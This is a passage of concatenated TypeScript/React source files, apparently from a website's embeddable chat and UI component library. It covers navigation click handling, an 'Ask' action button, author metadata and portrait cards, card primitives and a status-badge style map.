`runtime.navigation.navigate({href,path,targetPlatform})`;\n *      if the host didn't handle it → `fallbackNavigate(stripped)` else\n *      `window.location.assign(stripped)`\n *\n * `runtime` is nullable: surfaces with no `ChatRuntimeContext` mounted (e.g. the\n * announcement bar) pass `null` and get the plain same-tab fallback — there's no\n * new-tab/embed decision to make without a runtime.\n */\n\nimport { computeIsNewTab } from './nav-anchor-props'\nimport { NEW_TAB_FEATURES, stripSameOriginToPath } from './chat-nav-resolution'\nimport { navigateSamePageHash, STICKY_HEADER_OFFSET_PX } from '../../../utils/same-page-hash-nav'\nimport type { ChatRuntime } from '../../../contexts/chat-runtime-context'\n\n/** Minimal mouse-event surface — structural so chip buttons / tiles can call it\n *  without casting `React.MouseEvent`. */\nexport interface NavClickEvent {\n  preventDefault(): void\n  button?: number\n  metaKey?: boolean\n  ctrlKey?: boolean\n  shiftKey?: boolean\n  altKey?: boolean\n}\n\nexport interface ExecuteNavigationClickArgs {\n  event: NavClickEvent\n  runtime: ChatRuntime | null | undefined\n  href: string\n  path?: string | null\n  targetPlatform?: string | null\n  /** Host router fallback for same-origin soft-nav when the runtime doesn't wire\n   *  `navigation.navigate` — pass `useRouter().push`. Without it, falls back to a\n   *  full-page `window.location.assign`. */\n  fallbackNavigate?: (path: string) => void\n}\n\nexport interface ExecuteNavigationImperativeArgs {\n  runtime: ChatRuntime | null | undefined\n  href: string\n  targetPlatform?: string | null\n  fallbackNavigate?: (path: string) => void\n}\n\n/** Core: make the new-tab decision (when a runtime is present) and execute. */\nfunction runNavigation(\n  runtime: ChatRuntime | null | undefined,\n  href: string,\n  path: string | null | undefined,\n  targetPlatform: string | null | undefined,\n  fallbackNavigate?: (path: string) => void,\n): void {\n  // No runtime → no embed/new-tab decision possible; plain same-tab fallback.\n  const isNewTab = runtime ? computeIsNewTab(runtime, href, targetPlatform ?? null) : false\n  if (isNewTab) {\n    if (runtime?.navigation.openExternal) runtime.navigation.openExternal(href)\n    else window.open(href, '_blank', NEW_TAB_FEATURES)\n    return\n  }\n  const target = stripSameOriginToPath(href)\n  // Same-page hash target (e.g. a chat card deep-linking to `/faqs#faq-item-49`):\n  // route through the UNIFIED same-page-hash primitive FIRST. A host router /\n  // `router.push` performs `pushState`, which the HTML spec says does NOT fire a\n  // `hashchange` event — so URL-hash-bound listeners (FAQ auto-expand,\n  // `useScrollToHash`) never react on a SOFT same-page nav and the cited row\n  // neither opens nor scrolls. `navigateSamePageHash` does the pushState AND\n  // dispatches the synthetic `hashchange` (+ anchoring-proof scroll). It returns\n  // false for cross-page targets (different pathname/search) — those fall through\n  // to the host nav / router below, which mount the new route where the hash is\n  // read fresh on first render.\n  if (target.includes('#') && navigateSamePageHash(target, { headerOffset: STICKY_HEADER_OFFSET_PX })) {\n    return\n  }\n  const handled = runtime?.navigation.navigate?.({ href, path, targetPlatform }) ?? false\n  if (!handled) {\n    if (fallbackNavigate) fallbackNavigate(target)\n    else window.location.assign(target)\n  }\n}\n\n/**\n * Click-handler form. Returns `true` when it took action (called\n * `preventDefault`); `false` for modifier / non-primary clicks the browser\n * should handle natively. Spread the result into your anchor's `onClick`.\n */\nexport function executeNavigation({\n  event,\n  runtime,\n  href,\n  path,\n  targetPlatform,\n  fallbackNavigate,\n}: ExecuteNavigationClickArgs): boolean {\n  if (!href) {\n    event.preventDefault()\n    return true\n  }\n  // Modifier / non-primary clicks → NOT handled; let the browser do its native thing.\n  // Deliberately NOT the shared `isModifierClick` (chat-nav-resolution): that predicate\n  // treats an UNDEFINED `button` as a modifier (`button !== 0`), but a structural\n  // NavClickEvent from a chip tile may omit `button` and MUST be a primary click (navigate).\n  if (event.button !== undefined && event.button !== 0) return false\n  if (event.metaKey || event.ctrlKey || event.shiftKey || event.altKey) return false\n  event.preventDefault()\n  runNavigation(runtime, href, path, targetPlatform, fallbackNavigate)\n  return true\n}\n\n/**\n * Imperative form — for buttons, list-row onClicks, and post-action redirects\n * that aren't anchor clicks. Same decision tree, no event/modifier handling.\n */\nexport function executeNavigationImperative({\n  runtime,\n  href,\n  targetPlatform,\n  fallbackNavigate,\n}: ExecuteNavigationImperativeArgs): void {\n  runNavigation(runtime, href, undefined, targetPlatform, fallbackNavigate)\n}\n","'use client'\n\n/**\n * Click router for chat-rendered nav links — chip block, `<ChatCardNavWrap>`,\n * `<NavLinkAnchorViaRuntime>`.\n *\n * @deprecated Thin wrapper around the unified `executeNavigation` primitive\n * (`execute-navigation.ts`). Kept so the existing chat callers' call shape\n * (`handleChatNavClick(e, runtime, {href,path,targetPlatform}, fallbackNavigate)`)\n * keeps working unchanged. New code should call `executeNavigation` directly.\n * The decision tree (empty-href no-op, modifier/non-primary passthrough,\n * new-tab via openExternal/window.open, same-tab via navigate→fallback→\n * window.location) lives ONCE in `executeNavigation` now.\n */\n\nimport { executeNavigation, type NavClickEvent } from './execute-navigation'\nimport type { ChatRuntime } from '../../../contexts/chat-runtime-context'\n\nexport interface ChatNavClickInput {\n  href: string\n  path?: string | null\n  targetPlatform?: string | null\n}\n\nexport function handleChatNavClick(\n  e: NavClickEvent,\n  runtime: ChatRuntime,\n  { href, path, targetPlatform }: ChatNavClickInput,\n  /** Host-router fallback for same-origin soft-nav when the runtime does NOT\n   *  wire `navigation.navigate` (pass `useRouter().push`). */\n  fallbackNavigate?: (path: string) => void,\n): boolean {\n  return executeNavigation({ event: e, runtime, href, path, targetPlatform, fallbackNavigate })\n}\n","'use client'\n\n/**\n * Chat-panel-local context.\n *\n * The chat shell (EmbeddableChat) provides a small set of panel-level\n * affordances that descendants — including inline cards rendered via\n * the dispatcher — may want to consume WITHOUT prop drilling:\n *\n *   - `closeChat()` — close the chat panel. Inline cards trigger this\n *     ONLY when their navigation is same-tab (so new-tab clicks leave\n *     the chat open while the new tab loads).\n *\n * Why context vs prop drilling: the card dispatch has 7+ wrappers\n * (BlogCard, ProgramCard, DataRoomDocCard, …). Threading `onClose`\n * through every wrapper signature would touch every card type for one\n * UX behavior — not worth the churn. Context is opt-in at the\n * provider level and zero-cost when not consumed.\n *\n * Defaults to `null` when no provider is mounted (e.g. tests, or a\n * card rendered outside the panel) — consumers MUST handle `null`.\n */\n\nimport { createContext, useContext } from 'react'\n\nexport interface ChatPanelHandle {\n  /** Close the chat panel. Called by inline cards' nav click handler\n   *  ONLY when the resolved navigation is same-tab. */\n  closeChat: () => void\n}\n\nexport const ChatPanelContext = createContext<ChatPanelHandle | null>(null)\n\n/** Optional consumer — returns `null` when no provider mounted. */\nexport function useChatPanel(): ChatPanelHandle | null {\n  return useContext(ChatPanelContext)\n}\n","'use client'\n\n/**\n * One-component-fits-all \"Ask\" affordance shared across the three\n * chat-adjacent surfaces (source chips, inline cards, search results).\n *\n * Before this primitive, the same semantic action was implemented three\n * different ways:\n *   - Source chip: inline `<button>` next to the chip\n *   - Source chip dropdown row: secondaryAction icon-button\n *   - Inline card: UI-Kit `<Button variant=\"transparent\">Ask</Button>`\n *   - Search results: nothing (asymmetric — no Ask)\n *\n * Three icon sizes, three different opacity rules, three different DOM\n * shapes for the same action. Centralized here as a single `Button`-\n * backed wrapper so the DOM + a11y + hover behavior live in one place.\n * The `density` prop picks the visual variant; the icon/label/click\n * semantics are identical across all three.\n */\n\nimport React from 'react'\nimport { MessageSquare, FileText } from 'lucide-react'\nimport { Button } from '../ui/button'\nimport type { ChatRef } from './chat-ref.types'\n\nexport type SourceActionDensity = 'inline' | 'card' | 'list-row'\n\nexport interface SourceActionButtonProps {\n  /** The row to drill into when clicked. The button is HIDDEN when this\n   *  is null (e.g. row has no primary key — Ask can't fire). */\n  chatRef: ChatRef | null\n  /** Click handler. Receives the chatRef. When undefined the button is\n   *  hidden — same as null chatRef. */\n  onDiscuss?: (ref: ChatRef) => void\n  /** Visual density / layout. Defaults to `'inline'`. */\n  density?: SourceActionDensity\n  /** Optional className appended to the outer element. */\n  className?: string\n  /** Button text label override. Defaults to `'Ask'`. The Display variant\n   *  on inline cards passes `'Display'` here. Density `'inline'` shows\n   *  the icon only — the label is used for aria-label / title even when\n   *  it doesn't render visibly. */\n  label?: string\n}\n\n// Per-density styling lives in one map so the three call sites share the\n// SAME hover/opacity/transition rules. Adding a fourth density means\n// adding one entry here, not touching the render path.\nconst DENSITY_STYLES: Record<\n  SourceActionDensity,\n  {\n    size: 'small' | 'icon'\n    showLabel: boolean\n    iconSize: string\n    className: string\n  }\n> = {\n  inline: {\n    size: 'icon',\n    showLabel: false,\n    iconSize: '!h-3 !w-3',\n    className:\n      '!h-5 !w-5 !p-0 text-ods-text-secondary opacity-60 hover:opacity-100 hover:text-ods-text-primary hover:bg-ods-accent/15',\n  },\n  card: {\n    size: 'small',\n    showLabel: true,\n    iconSize: '!h-3 !w-3',\n    className:\n      '!h-auto !p-0 text-h6 font-normal text-ods-text-secondary opacity-60 hover:bg-transparent hover:opacity-100 hover:text-ods-text-primary',\n  },\n  'list-row': {\n    size: 'small',\n    showLabel: true,\n    iconSize: '!h-3 !w-3',\n    className:\n      '!h-auto !px-1.5 !py-0.5 text-h6 font-normal text-ods-text-secondary opacity-60 hover:opacity-100 hover:text-ods-text-primary hover:bg-ods-accent/10',\n  },\n}\n\nexport function SourceActionButton({\n  chatRef,\n  onDiscuss,\n  density = 'inline',\n  className,\n  label = 'Ask',\n}: SourceActionButtonProps): React.ReactElement | null {\n  if (!chatRef || !onDiscuss) return null\n\n  // Label-driven icon. \"Display\" reads as a verbatim-content action so a\n  // FileText icon reinforces \"show me the body\" semantics; the default\n  // \"Ask\" stays MessageSquare for the conversational connotation. Any\n  // future label adds an entry to this map.\n  const isDisplay = label === 'Display'\n  const verbLabel = isDisplay\n    ? `Display ${chatRef.title || 'this item'}`\n    : `Ask about ${chatRef.title || 'this item'}`\n  const handle = (e: React.MouseEvent) => {\n    e.preventDefault()\n    e.stopPropagation()\n    onDiscuss(chatRef)\n  }\n  const styles = DENSITY_STYLES[density]\n  const IconComponent = isDisplay ? FileText : MessageSquare\n  const icon = <IconComponent className={styles.iconSize} />\n\n  return (\n    <Button\n      variant=\"transparent\"\n      size={styles.size}\n      leftIcon={styles.showLabel ? icon : undefined}\n      onClick={handle}\n      aria-label={verbLabel}\n      title={verbLabel}\n      className={`${styles.className}${className ? ` ${className}` : ''}`}\n    >\n      {styles.showLabel ? label : icon}\n    </Button>\n  )\n}\n","import Link from '../../../embed-shims/next-link'\nimport type { EntityAuthor } from '../../../types/entity-author'\nimport { SquareAvatar } from '../../ui/square-avatar'\nimport { formatDate, nameInitials } from '../../../utils/format'\n\n/**\n * Author + publication metadata, rendered as the SAME 2-or-N-cell grid pattern\n * the release detail page uses.\n *\n * Each cell sits inside a single bordered/rounded container, separated by\n * `border-r` dividers — byte-identical visual contract to the release page.\n *\n * Cell taxonomy:\n *   - `<EntityMetadataValueCell>` — top: large value (`text-h4` uppercase),\n *     bottom: small label (`DM_Sans` 14px secondary). Used for Type / Status\n *     / Date.\n *   - `<EntityMetadataAuthorCell>` — `<SquareAvatar>` + name + label. Used\n *     for the Author column.\n *\n * `<EntityAuthorCard>` is the convenience composer for the common\n * \"Published + Author\" pair. Pass `publishedAt` to get both cells; omit it\n * to get just the Author card (single-cell mode used by surfaces with no\n * separate publication-date concept).\n *\n * Renders null when `author` is null/empty unless `renderEmptyAuthor` is set.\n */\n/**\n * Documented empty-author placeholder for CHAT CARD surfaces (\"—\" name,\n * \"Unknown\" role). The release detail page deliberately keeps its legacy\n * empty rendering instead (\"Unknown Author\"/\"Author\" via a null-field stub\n * — see release-detail-page.tsx) — two documented empty styles, one cell.\n */\nexport const EMPTY_AUTHOR_PLACEHOLDER = {\n  full_name: '—',\n  avatar_url: null,\n  job_title: 'Unknown',\n} as const\n\nexport interface EntityAuthorCardProps {\n  author: EntityAuthor | null | undefined\n  /** Role label rendered under the name. Defaults to \"Author\". Override\n   *  to e.g. \"Presenter\" / \"Contributor\" if semantics differ. */\n  roleLabel?: string\n  /** Link target for the author name (e.g. the public author page). The\n   *  HOST computes it (route availability is host knowledge) — absent ⇒\n   *  plain text, exactly the prior render. */\n  authorHref?: string\n  /** Optional publication date. When provided, the component renders as a\n   *  2-cell grid (Published | Author). When omitted, only the Author cell\n   *  renders inside the same bordered container. */\n  publishedAt?: string | Date | null\n  /** Label for the Published cell. Defaults to \"Published\". */\n  publishedLabel?: string\n  /**\n   * Extra value cells inserted into the metadata grid BEFORE the\n   * Published cell. Each item renders as an `<EntityMetadataValueCell>`\n   * with a large `text-h4` value and a small `DM_Sans` 14px label.\n   *\n   * Use for entity-specific labels (e.g. onboarding-guide section/step,\n   * webinar host, customer-interview customer). The grid auto-sizes via\n   * `grid-cols-N`.\n   */\n  extraCells?: Array<{ value: string; label: string; uppercase?: boolean }>\n  /** When true, render the author cell even when `author?.full_name` is\n   *  missing — using the `EMPTY_AUTHOR_PLACEHOLDER` shape above. Used by\n   *  catalog grids that must keep a fixed shape so skeleton alignment\n   *  holds. Defaults to false. */\n  renderEmptyAuthor?: boolean\n  className?: string\n}\n\n\n/**\n * Single value cell — top: large `text-h4` value (uppercase), bottom: small\n * `DM_Sans` 14px secondary label.\n */\nexport function EntityMetadataValueCell({\n  value,\n  label,\n  className,\n  uppercase = true,\n}: {\n  value: string\n  label: string\n  className?: string\n  uppercase?: boolean\n}) {\n  return (\n    <div className={`bg-ods-card p-4 flex flex-col gap-3 ${className ?? ''}`}>\n      <div className=\"flex flex-col gap-0\">\n        <p className=\"text-h4 text-ods-text-primary\">\n          {uppercase ? value.toLocaleUpperCase() : value}\n        </p>\n        <p className=\"text-h6 text-ods-text-secondary\">\n          {label}\n        </p>\n      </div>\n    </div>\n  )\n}\n\n/**\n * Author cell — `<SquareAvatar>` + name + role label. The containing border /\n * divider is the caller's responsibility — this is just the cell content.\n */\nexport function EntityMetadataAuthorCell({\n  author,\n  roleLabel = 'Author',\n  authorHref,\n  className,\n}: {\n  author: NonNullable<EntityAuthorCardProps['author']>\n  roleLabel?: string\n  authorHref?: string\n  className?: string\n}) {\n  // Trimmed real name gates the LINK — a placeholder/unknown label must\n  // never render as a clickable author (an authorHref passed alongside an\n  // empty name would link \"Unknown Author\").\n  const trimmedName = typeof author.full_name === 'string' ? author.full_name.trim() : ''\n  const fullName = trimmedName || 'Unknown Author'\n  return (\n    <div className={`bg-ods-card p-4 flex items-center gap-3 ${className ?? ''}`}>\n      <SquareAvatar\n        src={author.avatar_url || ''}\n        alt={fullName}\n        fallback={nameInitials(fullName, '')}\n        size=\"md\"\n        variant=\"round\"\n      />\n      <div className=\"flex flex-col gap-0 flex-1 min-w-0\">\n        {/* title = full-name tooltip on truncation (carried over from the\n            release page's cell when it adopted this shared one). */}\n        <p className=\"text-h3 text-ods-text-primary truncate\" title={fullName}>\n          {authorHref && trimmedName ? (\n            <Link href={authorHref} className=\"hover:text-ods-accent transition-colors\">\n              {fullName}\n            </Link>\n          ) : (\n            fullName\n          )}\n        </p>\n        <p className=\"text-h6 text-ods-text-secondary\">\n          {author.job_title || roleLabel}\n        </p>\n      </div>\n    </div>\n  )\n}\n\nexport function EntityAuthorCard({\n  author,\n  roleLabel = 'Author',\n  authorHref,\n  publishedAt,\n  publishedLabel = 'Published',\n  extraCells,\n  renderEmptyAuthor = false,\n  className,\n}: EntityAuthorCardProps) {\n  const hasAuthor = !!author?.full_name\n  if (!hasAuthor && !renderEmptyAuthor) return null\n  const effectiveAuthor = hasAuthor ? (author as NonNullable<EntityAuthorCardProps['author']>) : EMPTY_AUTHOR_PLACEHOLDER\n\n  // Resolve the date label. `formatDate` returns \"Invalid Date\" for\n  // unparseable inputs; collapse that to empty so the cell is hidden, not\n  // literal text.\n  const formatted = publishedAt ? formatDate(publishedAt as Date | string) : ''\n  const dateLabel = formatted === 'Invalid Date' ? '' : formatted\n\n  const showDateCell = !!dateLabel\n  const extras = extraCells ?? []\n  // Total cell count = extras + (optional Published) + Author. Map to\n  // an explicit tailwind `md:grid-cols-N` class string so JIT picks it\n  // up at build time.\n  const totalCells = extras.length + (showDateCell ? 1 : 0) + 1\n  const gridColsClass =\n    totalCells >= 4 ? 'md:grid-cols-4'\n    : totalCells === 3 ? 'md:grid-cols-3'\n    : totalCells === 2 ? 'md:grid-cols-2'\n    : 'md:grid-cols-1'\n\n  // Helper — every cell EXCEPT the last needs the dividers (bottom on\n  // mobile, right on desktop). The last cell (Author) closes the grid\n  // without a trailing divider so the rounded corner stays clean.\n  const dividerClass = 'border-b md:border-b-0 md:border-r border-ods-border'\n\n  return (\n    <div\n      className={`grid grid-cols-1 ${gridColsClass} border border-ods-border rounded-md overflow-hidden w-full ${className ?? ''}`}\n    >\n      {extras.map((cell, i) => (\n        <EntityMetadataValueCell\n          key={`${cell.label}-${i}`}\n          value={cell.value}\n          label={cell.label}\n          uppercase={cell.uppercase ?? true}\n          className={dividerClass}\n        />\n      ))}\n      {showDateCell && (\n        <EntityMetadataValueCell\n          value={dateLabel}\n          label={publishedLabel}\n          uppercase={false}\n          className={dividerClass}\n        />\n      )}\n      <EntityMetadataAuthorCell author={effectiveAuthor} roleLabel={roleLabel} authorHref={authorHref} />\n    </div>\n  )\n}\n","'use client'\n\nimport React from 'react'\n\ninterface BlogImagePlaceholderProps {\n  /** Cover-image URL. The hub passes a `useOgPlaceholderUrl({ title, siteName })`\n   *  result; embedders pass their own pre-resolved URL. When null, the\n   *  component renders nothing. */\n  imageUrl: string | null\n  /** Used for the `alt` attribute. */\n  title: string\n  className?: string\n}\n\n/**\n * Pure presentation wrapper for a cover-image / OG-placeholder fallback.\n *\n * Outer must be inline-content-model so this placeholder is HTML-valid\n * when rendered inside a markdown `<p>` (e.g. via the chat shell's\n * compact `BlogCard` fallback). `<span className=\"block\">` keeps the\n * same visual behavior as the prior `<div>` while satisfying the\n * phrasing-content constraint of its parent.\n *\n * If the `imageUrl` itself 404s (cold cache, transient failure), the\n * `onError` handler hides the broken-image icon so the parent's\n * `bg-ods-bg` shows through cleanly. Same recovery pattern every\n * cover-image render path uses.\n */\nexport function BlogImagePlaceholder({\n  imageUrl,\n  title,\n  className = '',\n}: BlogImagePlaceholderProps) {\n  if (!imageUrl) return null\n\n  return (\n    <span className={`relative block w-full h-full overflow-hidden bg-ods-bg ${className}`}>\n      {/* eslint-disable-next-line @next/next/no-img-element -- this is a\n          dynamically-generated placeholder image with a query string;\n          next/image's loader configuration adds nothing here. */}\n      <img\n        src={imageUrl}\n        alt={`Cover image for ${title}`}\n        className=\"block w-full h-full object-contain\"\n        loading=\"lazy\"\n        onError={(e) => {\n          (e.currentTarget as HTMLImageElement).style.display = 'none'\n        }}\n      />\n    </span>\n  )\n}\n","'use client'\n\n/**\n * <EntityPortraitCard> — THE portrait (rail/strip) card anatomy, shared by\n * EVERY entity card's `size=\"portrait\"` density (case study, blog post,\n * customer interview, program, investor update, onboarding guide, …).\n *\n * One rail = one anatomy (2026 card-UI practice): identical zone boxes across\n * all content types —\n *   media  : aspect-[1200/630] slot + content-type chip overlay\n *   title  : fixed 72px zone, 3-line clamp (typography per entity via\n *            `titleClassName` — e.g. Azeret Mono for programs)\n *   footer : fixed 60px person zone (author avatar + name + subtitle, with\n *            the optional bottom-right icon overlay — the case-study MSP\n *            pattern)\n * Card surface, padding (p-6/gap-6) and the hover treatment (accent border +\n * accent shadow) are encoded HERE exactly once, so no per-card drift is\n * possible. Entity cards only MAP their row onto these props.\n *\n * Media rule (\"our common way\"): the REAL cover always wins. Wide covers\n * (OG-style 1200×630) fill the slot `object-cover`; a non-wide cover (square\n * podcast artwork) renders contained on an `useImageEdgeColor` background —\n * the SAME edge-sampled fill the media/news cards use (OGLinkPreview) — never\n * a flat filler and never the generic placeholder while a real image exists.\n * The cover → placeholder → hide resolution is the shared\n * `useCoverImageFallback` chain (one fallback logic for all entity cards).\n *\n * The content-type chip is the common <StatusBadge> and lives ABOVE the title\n * (an eyebrow inside the title zone), never overlaid on the artwork — branded\n * covers carry their own marks (Flamingo logo top-left) that an overlay would\n * collide with.\n */\n\nimport React, { useEffect, useState } from 'react'\nimport Image from '../../../embed-shims/next-image'\nimport { Card } from '../../ui/card'\nimport { StatusBadge } from '../../ui/status-badge'\nimport { useImageEdgeColor } from '../../../hooks/ui/use-image-edge-color'\nimport { useCoverImageFallback } from './use-cover-image-fallback'\nimport { cn } from '../../../utils/cn'\n\n/** Sources narrower than this are \"not wide\" → contained on the edge-color\n *  fill. Wide covers are 1200/630 ≈ 1.9; squares are 1.0; 1.3 splits safely. */\nconst MIN_WIDE_RATIO = 1.3\n\nexport interface EntityPortraitPerson {\n  name: string\n  avatarUrl?: string | null\n  subtitle?: string | null\n  /** Small round overlay on the avatar's bottom-right corner (e.g. MSP icon). */\n  iconOverlayUrl?: string | null\n}\n\nexport interface EntityPortraitCardProps {\n  href: string\n  target?: '_blank'\n  rel?: string\n  /** Content-type chip ('Case Study', 'Podcast', …). OMIT to hide the chip —\n   *  single-type rails don't need per-card type identification; only mixed\n   *  rails pass it. */\n  typeLabel?: string\n  imageUrl?: string | null\n  /** Branded wide OG fallback — used when `imageUrl` is missing, errors, or\n   *  isn't wide. */\n  placeholderUrl?: string | null\n  imageAlt: string\n  title: string\n  /** Typography override for the title (entity identity), zone box unchanged. */\n  titleClassName?: string\n  person?: EntityPortraitPerson | null\n  className?: string\n}\n\nexport function EntityPortraitCard({\n  href,\n  target,\n  rel,\n  typeLabel,\n  imageUrl,\n  placeholderUrl,\n  imageAlt,\n  title,\n  titleClassName,\n  person,\n  className,\n}: EntityPortraitCardProps) {\n  const { src, onError: onMediaError } = useCoverImageFallback(imageUrl, placeholderUrl)\n  // null = unknown (assume wide until the image reports its natural size).\n  const [isWide, setIsWide] = useState<boolean | null>(null)\n  useEffect(() => {\n    // Re-detect whenever the resolved source changes (prop change OR the\n    // fallback chain advancing to the placeholder).\n    setIsWide(null)\n  }, [src])\n\n  const onMediaLoad = (e: React.SyntheticEvent<HTMLImageElement>) => {\n    const img = e.currentTarget\n    if (img.naturalWidth > 0 && img.naturalHeight > 0) {\n      setIsWide(img.naturalWidth / img.naturalHeight >= MIN_WIDE_RATIO)\n    }\n  }\n\n  // Edge-sampled slot fill for non-wide covers — the SAME hook/fallback the\n  // media/news cards use (og-link-preview.tsx).\n  const edgeColor = useImageEdgeColor(isWide === false ? src : null, 'var(--color-bg-surface)')\n\n  return (\n    <a href={href} target={target} rel={rel} className={cn('block h-full', className)} aria-label={`Open ${title}`}>\n      <Card className=\"bg-ods-card border border-ods-border hover:border-ods-accent hover:shadow-lg hover:shadow-ods-accent/[0.08] transition-all duration-200 p-6 flex flex-col gap-6 overflow-hidden h-full\">\n        {/* Media zone — the real cover always wins: wide → cover-fill;\n            non-wide → contained on the edge-color fill (news-card treatment). */}\n        <div\n          className=\"relative w-full aspect-[1200/630] rounded-sm overflow-hidden bg-ods-bg shrink-0 flex items-center justify-center transition-colors duration-300\"\n          style={isWide === false ? { backgroundColor: edgeColor } : undefined}\n        >\n          {src && (\n            <Image\n              src={src}\n              alt={imageAlt}\n              className={cn('w-full h-full', isWide === false ? 'object-contain' : 'object-cover')}\n              sizes=\"(min-width: 800px) 400px, 100vw\"\n              fill\n              unoptimized\n              onLoad={onMediaLoad}\n              onError={onMediaError}\n            />\n          )}\n        </div>\n\n        {/* Title zone — fixed box. Mixed rails: common StatusBadge eyebrow +\n            2-line title (chip lives here, never on the artwork). Single-type\n            rails (no typeLabel): centered 3-line title. */}\n        <div className=\"h-[72px] flex flex-col justify-center gap-1.5 shrink-0\">\n          {typeLabel && (\n            <StatusBadge\n              variant=\"button\"\n              colorScheme=\"accentBorder\"\n              singleLine\n              text={typeLabel}\n              className=\"self-start\"\n            />\n          )}\n          <h3\n            className={cn(\n              'text-h4 leading-6 text-ods-text-primary break-words',\n              typeLabel ? 'line-clamp-2' : 'line-clamp-3',\n              titleClassName,\n            )}\n          >\n            {title}\n          </h3>\n        </div>\n\n        {/* Person/footer zone — fixed box (kept even when empty so every card\n            in a rail shares baselines). */}\n        <div className=\"h-[60px] flex items-center shrink-0\">\n          {person && (\n            <div className=\"flex items-center gap-3 min-w-0 w-full\">\n              <div className=\"relative shrink-0 w-12 h-12\">\n                {person.avatarUrl ? (\n                  <Image\n                    src={person.avatarUrl}\n                    alt={person.name}\n                    className=\"w-12 h-12 rounded-full object-cover bg-ods-bg border border-ods-border\"\n                    width={48}\n                    height={48}\n                    unoptimized\n                  />\n                ) : (\n                  <div className=\"w-12 h-12 rounded-full bg-ods-bg border border-ods-border flex items-center justify-center\">\n                    <span className=\"text-ods-text-secondary text-h4\">\n                      {person.name.charAt(0).toUpperCase()}\n                    </span>\n                  </div>\n                )}\n                {person.iconOverlayUrl && (\n                  <div className=\"absolute -bottom-1 -right-1 w-6 h-6 rounded-full bg-ods-text-primary ring-1 ring-ods-bg overflow-hidden flex items-center justify-center\">\n                    <Image\n                      src={person.iconOverlayUrl}\n                      alt=\"\"\n                      className=\"w-full h-full object-cover\"\n                      width={24}\n                      height={24}\n                      unoptimized\n                    />\n                  </div>\n                )}\n              </div>\n              <div className=\"flex flex-col min-w-0\">\n                <span className=\"text-h6 font-bold text-ods-text-primary truncate\">{person.name}</span>\n                {person.subtitle && (\n                  <span className=\"text-h6 text-ods-text-secondary truncate\">{person.subtitle}</span>\n                )}\n              </div>\n            </div>\n          )}\n        </div>\n      </Card>\n    </a>\n  )\n}\n","\"use client\"\n\nimport * as React from \"react\"\n\nimport { cn } from \"../../utils/cn\"\n\nconst Card = React.forwardRef<\n  HTMLDivElement,\n  React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => (\n  <div\n    ref={ref}\n    className={cn(\n      // `border` with NO color token resolves to `currentColor` — on a dark card\n      // with light text that paints a WHITE outline. Every ODS surface borders\n      // on `--color-border`; say so.\n      \"rounded-lg border border-ods-border bg-card text-card-foreground shadow-sm\",\n      className\n    )}\n    {...props}\n  />\n))\nCard.displayName = \"Card\"\n\nconst CardHeader = React.forwardRef<\n  HTMLDivElement,\n  React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => (\n  <div\n    ref={ref}\n    className={cn(\"flex flex-col space-y-1.5 p-6\", className)}\n    {...props}\n  />\n))\nCardHeader.displayName = \"CardHeader\"\n\nconst CardTitle = React.forwardRef<\n  HTMLDivElement,\n  React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => (\n  <div\n    ref={ref}\n    className={cn(\n      \"text-h2\",\n      className\n    )}\n    {...props}\n  />\n))\nCardTitle.displayName = \"CardTitle\"\n\nconst CardDescription = React.forwardRef<\n  HTMLDivElement,\n  React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => (\n  <div\n    ref={ref}\n    className={cn(\"text-h6 text-muted-foreground\", className)}\n    {...props}\n  />\n))\nCardDescription.displayName = \"CardDescription\"\n\nconst CardContent = React.forwardRef<\n  HTMLDivElement,\n  React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => (\n  <div ref={ref} className={cn(\"p-6 pt-0\", className)} {...props} />\n))\nCardContent.displayName = \"CardContent\"\n\nconst CardFooter = React.forwardRef<\n  HTMLDivElement,\n  React.HTMLAttributes<HTMLDivElement>\n>(({ className, ...props }, ref) => (\n  <div\n    ref={ref}\n    className={cn(\"flex items-center p-6 pt-0\", className)}\n    {...props}\n  />\n))\nCardFooter.displayName = \"CardFooter\"\n\n// Unified horizontal card for homepage category section\ninterface CardHorizontalProps {\n  icon: React.ReactNode;\n  title: string;\n  description: string;\n  className?: string;\n  borderLeft?: boolean;\n}\n\nexport function CardHorizontal({ icon, title, description, className = '', borderLeft = true }: CardHorizontalProps) {\n  return (\n    <div\n      className={cn(\n        'w-full flex flex-row items-center gap-3 md:gap-4 bg-ods-card p-4 md:p-6 min-h-[80px]',\n        borderLeft ? 'border-l border-ods-border' : '',\n        className\n      )}\n    >\n      <div className=\"w-5 h-5 flex-shrink-0\">{icon}</div>\n      <div className=\"flex flex-col min-w-0\">\n        <span className=\"text-h6 text-ods-text-primary mb-0.5 text-left\">{title}</span>\n        <span className=\"text-h6 text-ods-text-secondary text-left\">{description}</span>\n      </div>\n    </div>\n  );\n}\n\nexport { Card, CardHeader, CardFooter, CardTitle, CardDescription, CardContent }","\"use client\"\n\nimport React from 'react';\nimport { cn } from '../../utils/cn';\nimport { cva, type VariantProps } from 'class-variance-authority';\n\nconst statusBadgeVariants = cva(\n  \"inline-flex items-center justify-center rounded\",\n  {\n    variants: {\n      // Two densities, not one style at two paddings. Both are the ODS h5\n      // label treatment (Azeret Mono 500, uppercase, -0.02em); they differ in\n      // scale. Putting BOTH on `text-h5` is what regressed the stamp: at\n      // 14/20 on desktop every inline badge grew ~40% and its box doubled,\n      // because the caption line-height replaced `leading-none`.\n      variant: {\n        // Standalone badge — the ODS caption composite, unmodified.\n        card: \"px-3 py-1.5 text-h5\",\n        // Dense inline stamp. Family, weight and casing come from the SAME h5\n        // tokens as `card`; only the scale is set here, because ODS has no\n        // step below the 12/14px caption and this stamp is 10px by design.\n        button:\n          \"px-2 py-0.5 font-[family-name:var(--font-h5-family)] font-[number:var(--font-h5-weight)] text-badge uppercase tracking-[-0.02em]\",\n      },\n      colorScheme: {\n        cyan: \"bg-[var(--ods-flamingo-cyan-base)] text-ods-text-on-accent\",\n        pink: \"bg-[var(--ods-flamingo-pink-base)] text-ods-text-on-accent\",\n        yellow: \"bg-ods-accent text-ods-text-on-accent border border-[var(--ods-system-greys-black)]\",\n        green: \"bg-ods-success text-ods-text-on-accent\",\n        purple: \"bg-ods-flamingo-pink text-ods-text-on-accent\",\n        success: \"bg-ods-success-secondary text-ods-success\",\n        error: \"bg-ods-error-secondary text-ods-error\",\n        warning: \"bg-ods-warning-secondary text-ods-warning\",\n        default: 